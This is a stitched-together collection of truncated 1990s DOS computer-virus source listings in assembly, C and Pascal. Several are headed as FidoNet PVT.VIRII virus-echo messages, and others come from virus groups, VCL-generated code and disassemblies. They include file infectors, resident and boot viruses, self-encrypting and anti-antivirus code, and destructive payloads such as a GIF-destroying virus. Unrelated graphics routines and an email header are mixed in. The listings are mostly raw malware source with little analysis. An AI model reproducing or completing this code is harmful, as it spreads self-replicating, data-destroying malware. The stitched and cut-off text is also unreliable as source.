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; PVT.VIRII (2:465/65.4) PVT.VIRII
; Msg : 7 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : AT_144.ASM
;
;.RealName: Max Ivanov
;
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: ... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
.model tiny
.code
org 100h
kkk:
nop ; ID
nop ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov... |
L0004: CALL L0007 ; PUSH BEGIN ADDRESS
L0007: POP BX ; POP ADDRESS
SUB BX,0131H ; CALC DATA POINT
TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ?
JE L0023 ; VIRUS IS ENCODING. START
LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE
MOV SP,0682H ; SIZE OF VIRUS
L001B: XOR [SI],SI ; ENCODE ONE BYTE
XOR [... |
; PVT.VIRII (2:465/65.4) PVT.VIRII
; Msg : 1 of 62
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:08
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : TRV_46.ASM
;
;.RealName: Max Ivanov
;
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: ... |
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
int 20
data label byte ;Data section
dtaaddr dd ? ;Disk Transfer Address
ftime dw ? ;File date
fdate dw ? ;File time
fattrib dw ? ;File attribute
saveins db 3 dup... |
; PVT.VIRII (2:465/65.4) PVT.VIRII
; Msg : 1 of 57
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : PIXLCANC.ASM
;
;.RealName: Max Ivanov
;
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int... |
; PVT.VIRII (2:465/65.4) PVT.VIRII
; Msg : 47 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:17
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : V_VHP367.ASM
;
;.RealName: Max Ivanov
;
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (In... |
;
; Virus Lession #2 'How to make a non-resident EXE infector'
;
; (c) 1992 Tormentor // Demoralized Youth
;
; Well, I had not time to comment this code as much as I wanted to,
; but here you are.
; What can be hard to understand is the .EXE header changes, but if
; you look at the description on the header (ex: Nort... |
{ Beginning of source code, Turbo Pascal 3.01a }
{C-}
{U-}
{I-} { Wont allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 13847; { AIDSYs code size }
Warning :String[42] { Warning message }
= ZThis File Has Been Infected By ... |
;------------------------------------------------------------------------------;
; ;
; V200 ;
; ;
;... |
Code Segment
Assume CS:Code,DS:Code,ES:Code
V_Length Equ Program - Main
F_Name Equ 0FC1Eh
F_Time Equ 0FC16h
F_Date Equ 0FC18h
HAdr Equ 0FD00h
DTA Equ 0FC00h
Org 100h
Main:
push [BOP] ;bewaar orginele off... |
; PVT.VIRII (2:465/65.4) PVT.VIRII
; Msg : 1 of 60
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : BLJEC_3A.ASM
;
;.RealName: Max Ivanov
;
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int... |
;=============================================================================
;
; C*P*I
;
; CORRUPTED PROGRAMMING INTERNATIONAL
; -----------------------------------
; p r e s e n t s
;
; ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; PVT.VIRII (2:465/65.4) PVT.VIRII
; Msg : 16 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:12
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : TINY_138.ASM
;
;.RealName: Max Ivanov
;
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (In... |
;------------------------------------------------------------------------------
; V 300 ANDROMEDA <??:??:90> *.COM
;------------------------------------------------------------------------------
xseg segment
Assume cs:xseg
xproc proc far
dec bp
inc bp
... |
;****************************************************************************
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
;*
;* TASM/MASM compatible source listing
;*
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
;* Brother code and library .asm routines extrac... |
/* PVT.VIRII (2:465/65.4) PVT.VIRII
Msg : 38 of 54
From : MeteO 2:5030/136 Tue 09 Nov 93 09:15
To : - *.* - Fri 11 Nov 94 08:10
Subj : CVIRUS21.C
.RealName: Max Ivanov
* Kicked-up by MeteO (2:5030/136)
* Area : VIRUS (Int: p p)
*... |
; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibilit... |
code segment
assume cs:code, ds:code, es:code, ss:nothing
org 0100h
start: db 8Bh,0DBh
mov ah,4Eh ;find a file
mov cx,0000h ;
mov dx,offset filemask ;load searchmask, .COM
loopy: int 21h
jb effect ... |
;NON-RESIDENT SPAWNER
; I threw this thing together in less than an hour and haven't looked
; at it since so yes, I know it needs real work. Mangle and change as
; you please. The original goal was to create the smallest spawner but
; I got bored with the whole thing. Some of the code was taken from
; the source code ... |
PAGE 59,132
;
;
; ZEP
;
; Created: 12-Nov-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 0A0h
data_9e equ 418h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h... |
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting I... |
; Abraxas.asm : [Abraxas-b] by Abraxas
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ... |
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting I... |
CSEG SEGMENT
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
org 100h
; Zerohunt virus
; Disassembly by PRiEST
; 4-15-93
CMC_JMP equ 0e9f5h ;This is the virus's signature
... |
Zombie
Disassembly by Darkman/29A
Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
load and execute program, except COMMAND.COM, by appending the virus to the
infected COM file.
To compile Zombie.747 with Turbo Assembler v 4.0 type:
TASM /M ZOMBI747.ASM
TLINK /t /x ZOMBI747.OBJ
... |
; [Ear-6]
; El virus de oreja y odo seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el ngel oscuro) escrib este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar el suyo.
; Dnde est mi llama, mama?
; diccionarito
; espaol ingls ... |
; [Ear-6]
; El virus de oreja y odo seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el ngel oscuro) escrib este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar el suyo.
; Dnde est mi llama, mama?
; diccionarito
; espaol ingls... |
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
asc db 256 dup (0)
lll dw ?
tbl dw 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'te.com',0
fn2 db ... |
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
... |
PAGE 59,132
;
;
; EXEV
;
; Created: 2-Jun-90
; Version:... |
;***************************************************************************
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
; Ludwig's RETALIAT... |
; D A R K M A N
; Proudly Presents
; E S T O N I A
psp equ 100h
virussize equ extracopy - code
cryptsize equ extracopy - crypted - 01h
dtaoffset equ 02h * virussize + psp
filetime equ ... |
code segment
assume cs:code, ds:code
org 100h
asc2 equ asc + 128
prog:
mov ax,cs
add ax,1000h
mov es,ax
mov si,0100h
mov di,si
mov cx,5000h
rep movsb
mov word ptr [next+2],es
jmp ... |
code segment
assume cs:code
;A stripped down Enigma.
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;needed for the matching procedure
infected dw 00h... |
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
; .
; , ,
; ,
; ( ,
; ). ... |
;
; grafix --- egagrafa.asm
;
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title egagrafa
include macros.ah
sseg
endss
g_linsiz equ 80
g_pixbyte equ 8
eg... |
; The Eem-DOS 5-Voorde Virus version 2.0
;
; Smallest (101 bytes) COM file infector which works with te folowing
; principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ____________ _____ _____________________
; [jmp to v... |
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main pr... |
; ------------------------------------------------------------------------- ;
; Emotnaf v1.1 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 23/06/98 | Finished: 00/00/00 ;
; ... |
; VirusName : ETERNITY!
; Origin : Sweden
; Author : The Unforgiven
; Date : 15/12/93
; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY
; modified, and I'd nearly dare to call it a "new" virus. But well,
; the infection routine are the same, so I really dunno.
; Anyway, it's a non-overwriti... |
; EMS.411 Virus
; Dissassembly by Vecna/29A
.model tiny
.code
.386p
org 0
VirusStart:
jmp RealStart ; jump to real start of virus
HostCode:
int 20h ; code of the start of the host is
nop ; stored here
EMM db 'EMMXXX... |
; The Eem-DOS 5-Voorde Virus
;
; Smallest COM file infector which works with te folowing principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ___________________ _____________________
; [jmp to virus][rest of file][... |
;
; ⪮, ⮫쪮 ⮬ ᬠਢ
; source code. ( ࠢ ࠧ ਤ :-)).
;
; 쪠 (쪠) , ৮, , ⨭...
;
; 饬, , ࠦ 直 ⠬ 䠩 ⪥
; - 䠬 .COM, - ठ
; 21- , 뢠 ⥫ ୮ , ࠦ
; 䠩 ਪ (⠪ ⨯ 窨, ᯮ
; த ᥪ -祣
; ), ᯮ 4- 砫, 稥
; ⠪: AX BABA ( , ⠪
; , word 0BABAh), 믮 21... |
.MODEL SMALL
.CODE
comment /
Good luck!
Vladimir Botchev, CICT-BAS, december 1988
/
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;n... |
;This virus encrypts the first 666 bytes of the host
;Its based off of the small virus
CSEG SEGMENT
ASSUME CS:CSEG, DS:CSEG
ORG 100h
JUMPS
Virus_Length equ End_Virus-Begin_Virus
Start:
jmp Begin_Virus
db 700 dup (90h)
Begin_Virus:
call Delta
Delta:
pop bp
sub bp,offset Delta
push si
push si
... |
; [Enemy Within] v1.00 by Crypt Keeper -Phalcon/Skism-
;
; Enemy Within is a memory resident virus that infects EXE and overlay files
; with directory size increases hidden. I'll be using this as a base for
; future more advanced viruses.
;
; Enemy Within infects EXEs and overlays on file Open, Get/Set
; attributes, ... |
; -Eternity.II-
; "Created by Immortal Riot's destructive development team"
; (c) '94 The Unforgiven/Immortal Riot
;
; "If this virus survive into eternity, I'll live forever"
; or
; "Nothing last forever"
;
; Notes:
; F-Prot, Scan, TBAV, Findviru, can't find s... |
; ------------------------------------------------------------------------- ;
; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ;
; ... |
comment #
Enmity, by Lord Natas
Properties:
*COM infection (appending, nonresident)
*antiheuristic code
*no TBSCAN flags at time of release (second generation)
*encryption (xor, random 16 bit key)
*works with microsoft COM files (the ones with the stupid checksum)
*infects all files in current directory, then in the... |
jumps
;
; ⪮, ⮫쪮 ⮬ ᬠਢ
; source code. ( ࠢ ࠧ ਤ :-)).
;
; 쪠 (쪠) , ৮, , ⨭...
;
; 饬, , ࠦ 直 ⠬ 䠩 ⪥
; - 䠬 .COM, - ठ
; 21- , 뢠 ⥫ ୮ , ࠦ
; 䠩 ਪ (⠪ ⨯ 窨, ᯮ
; த ᥪ -祣
; ), ᯮ 4- 砫, 稥
; ⠪: AX BABA ( , ⠪
; , word 0BABAh), 믮 21- ⮢ ᬮ,
; 0FACCh. , 窮 ⭮.
;
; Copyright (c) 1992, ... |
DATA SEGMENT
ORG 100H
DATA ENDS
; The EMF virus (c)1991 by Lazarus Long, Inc.
; The author assumes no responsibility for any damage incurred
; from the execution of this file, intentional or not
;
START:
JMP VIRUS_START
ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
... |
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
asc db 256 dup (0)
lll dw ?
tbl dw 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'te.com',0
fn2 db ... |
;
; Everlasting Fire Virus by John Tardy
;
Org 100h
Jump: Jmp Virus
Decr:
Instr: db 'Generation'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt:
Virus: Push Ax
Call GetOfs
GetOfs: Pop Ax
Sub Ax,GetOf... |
; Virusname: Extasy
; Origin: Sweden
; Author: Metal Militia
; This virus can be found with any anti-virus program, since it's been
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..)
;
; It's a resident .COM infector, without any encryption or stealth
; capabilities. It infects when you execute (4bh) o... |
.model tiny
.code
org 100h
longitud_del_virus = TerminaVir - EmpezarVir
longitud_del_escribir = offset termina - offset escribir
id = 'GH' ; Representa el lder de
; PHALCON/SKISM, Garbageheap
Empezar: db 0e9h, 0, 0 ... |
; ------------------------------------------------------------------------- ;
; Enicham v1.3 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 17/06/98 | Finished: 18/06/98 ;
; ... |
; The Eem-DOS 5-Voorde Virus version 2.0
;
; Smallest (101 bytes) COM file infector which works with te folowing
; principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ____________ _____ _____________________
; [jmp to v... |
;****************************************************************************
;* Civil War IV v1.2 *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
;
; Virus Los Salieris de Charly II (para compilar normal).
; (Stealth with TBAV, VSAFE, DIR, NC and MEM)
;
; Created by: Ramthes Jones'94 (For Those About to Rock!!
; (AHORA SI QUE EL TBAV ME LA CHUPA BIEN!!!)
;
; Fuente de mierda! hasta donde pensas llegar? porque estos gatos
; solo hablan en ingles... grrr! ... |
;****************************************************************************
; Civil War III, *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Dark Helmet / TridenT, The Netherlands *
; The aut... |
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ... |
; VirusName : CARPE DIEM! - Seize the day
; Origin : Sweden
; Author : Raver
; Date : 16/11/93
; Well this is my (Raver's) first scratch virus.
; This virus is mainly made for educational purpose (my own!).
; It's pretty well commented in an easy way so even you folks
; with little experience with assembler... |
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
... |
PAGE 59,132
;
;
; CANNAB2
;
; Created: 7-Nov-91
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_14e equ 5Ch
data_15e equ 78h
data_24e equ 7C0Bh ;*
data_25e equ 7C11h ;*
data_2... |
;The Circus Cluster 2 virus is an experiment which TridenT finished after
;the original Cluster virus was published in Crypt 17. The source
;code in its original form is provided now.
;
;Credited to TridenT, Circus Cluster 2 uses some of
;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed
;tricky be... |
;****************************************************************************
; Civil War V V1.0 *
; *
; Assembled with Tasm 2.5 *
; (c) Jan '93 [ Dark Helmet / TridenT ], The Netherl... |
PAGE 59,132
;
;
; CANNAB3
;
; Created: 6-Jun-92
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_14e equ 5Ch
data_15e equ 78h
data_23e equ 7C0Bh ;*
data_24e equ 7C11h ;*
data_2... |
page 70,120
Name CIAVIRUS
;************************************
; CIA Virus (C) 1989 by
; Live Wire
;************************************
code segment
assume cs:code
progr equ 100h
ORG progr
main:
nop
nop
nop
mov ax,00
... |
From smtp Sun Jan 29 16:25 EST 1995
Received: from ids.net by POBOX.jwu.edu; Sun, 29 Jan 95 16:25 EST
Date: Sun, 29 Jan 1995 16:18:52 -0500 (EST)
From: ids.net!JOSHUAW (JOSHUAW)
To: pobox.jwu.edu!joshuaw
Content-Length: 11874
Content-Type: text
Message-Id: <950129161852.10074@ids.net>
Status: RO
To: joshuaw@pobox.jwu... |
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
... |
;****************************************************************************
; Civil War II V1.1 *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands ... |
;
; grafix --- cgagrafa.asm
;
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
;
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
;
; Modified 5/29/87 by sss to allow for different memory models
;
title cgagrafa
include macros.ah
sseg
endss
g_oddoff equ 02000h
g_linsiz equ 80... |
; ------------------------------------------------------------------------------
;
; - Caffein -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; ---------------------------------------------------------------------------... |
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset... |
;Ŀ
; Commentator Virus by Glenn...
;Ĵ
; This will be a Parasytic Non-Resident .COM infector.
; It will also infect COMMAND.COM.
;
.MODEL TINY
Public VirLen,MovLen
Code Segment para 'Code'
Assum... |
ifndef ??version
?debug macro
endm
$comm macro name,dist,size,count
comm dist name:BYTE:count*size
endm
else
$comm macro name,dist,size,count
comm dist name[size]:BYTE:count
endm
endif
?debug S "cvirus.c"
?debug C E9A18C4217086376697275732E63
?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68
?debu... |
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
tbl dw 256 dup (0)
asc db 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'afd.com',0
fn2 db 'sup.com',0
fn3 ... |
; 'Extra-Tiny' memory model startup code for Turbo C 2.0
;
; This makes smaller executable images from C programs, by
; removing code to get command line arguments and the like.
; Compile with Tiny model flag, do not use any standard I/O
; library functions, such as puts() or int86().
;
; This code courtesey PC M... |
;
; CyberTech Virus - Strain A John Tardy (C) 1993
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory a... |
;****************************************************************************
;* Civil War IV v1.3 *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
;****************************************************************************
;* Civil War IV *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
;=====( Combat virus by Rajaat )===============================================
;
; Non-resident BAT infector, doesn't use external programs by third party.
;
;==============================================================================
;
; Virus name : Combat
; Author : Rajaat
; Origin : United King... |
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = o... |
; Civil Service Virus by Marvin Giskard
; Turbo Assember version 2
Exec equ 4B00h
OpenFile equ 3D02h
ReadFile equ 3Fh
WriteFile equ 40h
CloseFile equ 3Eh
EXESign equ 5A4Dh
SeekTop equ 4200h
SeekEnd equ 4202h
GetAttr equ 4300h
SetAttr equ 4301h
GetDT equ 5700h
SetDT... |
; COCROACH.ASM -- CockRoach Virus 1.0
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Anonymous Caller
virus_type equ 1 ; Overwriting Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100... |
;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14
;The PC Carbuncle is a "toy" virus which will search out every .EXEfile
;in the current directory, rename it with a .CRP [for Crypt] extent and
;create a batchfile. The batchfile calls the PC Carbuncle [which has
;copied itself to a hi... |
;****************************************************************************
;* Cannabis version 4
;*
;* Compile with TASM 2.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything any... |
PAGE 59,132
;
;
; CRIMEIIB
;
; Created: 31-Jan-91
; Passes: 5 Analysis Options on: none
;
;
data_8e equ 20D3h ;*
data_9e equ 28C9h ;*
data_10e equ 3C81h ;*
data_26e equ 8ECDh ;*
data_34e ... |
;***************************************************************************
;* *
;* CHAD - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written ... |
CHEEBA INFO
-----------
Strictly personal - DO NOT COPY/SHOW THESE FILES TO ANYONE !!!
CHEEBA will infect ANY executable file (COM/EXE/OVL but also all other
executable files like PIF / hidden OVLs etc) on copy - this way you do
not hear any difference while starting a program (that way all viruses
are caught). It doe... |
; Virus name : Cocaine [CoKe]
; Virus author: Metal Militia
; Virus group : Immortal Riot
; Origin : Sweden
;
; This is an non-resident, .EXE infector moving upwards using the
; "dot-dot" method. Watch your .EXE files for the bad guy siganture
; "IR" somewhere in the beginning, after the MZ or ZM thang.. :)
;
; A... |
TITLE LC Interrupt trap routine
NAME LCINT
INCLUDE DOS.MAC ; BE SURE TO INCLUDE THE CORRECT
; DOS.MAC!!
;****************************************************************************
;
; This is the heart of a C driven interrupt handler. This file was used to
; write a critical error handler that remained res... |
;****************************************************************************
; Civil War II V1.1 *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands ... |
title COMVIRUS
subttl By Drew Eckhardt
subttl Latest revision: 4-28-1991
;The author of this virus intends it to be used for educational
;purposes only, and assumes no responsibilities for its release,
;dammages resulting from its use, including but not limited to
;equipment dammage or data loss.
;By assembling or ex... |
PAGE 59,132
;
;
; COFFSHP1
;
; Created: 23-Jun-92
; Passes: 5 Analysis Options on: AW
;
;
data_1e equ 0F8h
data_2e equ 0FAh
data_3e equ 43Bh
data_4e equ 0F4h
data_5e equ 0F8h
data_6e equ 0FC... |
INTERRUPTS SEGMENT AT 0H ;This is where the disk interrupt
ORG 13H*4 ;holds the address of its service routine
DISK_INT LABEL DWORD
INTERRUPTS ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
... |
PAGE 59,132
;
;
; CANNAB1
;
; Created: 4-Oct-91
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_8e equ 5Ch
data_17e equ 46Ch ;*
data_18e equ 7C00h ;*
data_19e equ 7C0Bh ;*
... |
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